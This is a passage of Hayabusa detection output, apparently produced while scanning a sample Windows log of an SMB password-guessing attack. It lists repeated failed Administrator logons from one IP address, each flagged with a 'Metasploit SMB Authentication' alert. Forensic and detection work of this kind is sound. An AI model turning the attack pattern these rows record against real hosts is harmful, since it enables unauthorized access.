Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.694 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JanG6Q0oYpTdm9mC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.694 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PWCwDYL3T7TAdb0J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.736 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mRdyZaio1HjUKlNQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.777 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VjiRnExy9TzZTG0R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ztUyQpl8c9RoAr1j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jC23QAFM07q7cfVo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.909 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TSM8lmdOFoDslQNa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.957 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sGZaUGAT1oXmnGLB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZMNo21pTA67pb7Go : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.049 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EiTZCqK3m4icL1Vi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.091 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZaZ2mnoihX1Ec4di : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ihm9zaXkmWklXk4u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yLIZ3tlw9VlQmK28 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.201 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GVHzJHTi55NbxXYY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.249 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1FROeEnMLna2fTTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pio6ZZ9pV0pS2Whi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.332 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h1aD2w5U5K9ND5HV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.376 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zF8Jb4GpG4D3xn9i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.428 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Edv4GwGfL156V1xe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.457 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.570 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Irvneva9RFn44iII : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.570 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dHtJFI8OL9kJylL5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.617 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F5Q4h62T77hGjhKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.661 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdSALwo9td9xUeBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1kYfoqz1r1NuEn04 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.752 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.791 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7X400gufqdunUa8j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.791 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lLR8z7g0GY8r7a1r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.867 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QHMztrxiKBGtNqkp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.867 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7eBQevVhmZs5gHFD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.905 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lyQCs0PG6fGzpidu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.953 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnsPjnCieyoFIbJZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.996 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ku6mjVaG1lCJrAo1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VwiyVIWHOGuHzhdO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 92v1rXcj5c0Lt3OF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yO2JYd6FfM2Y7px9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ltr5g8ZWUAdrPKxg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.225 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fjiPMy5uOTbbmaQ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.272 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HDRVOzxca9wDJziV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DV28RjUK26Je2Dr9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.382 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seoetT43w0S3FEss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.382 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IdIU9Q9Ig4Bd3Aps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.422 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGzuHSHT59Qnp5jI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wPA1J7aQrZ064WSf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhLFXDMUKGfdoc4S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: apVAhc6o3dhLmUll : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.621 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FYMdQeB4ZpFm8xDh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.656 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QewW1ISqRdXwtSXA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.698 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SFhBcgZfc9VZ5S8S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.734 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 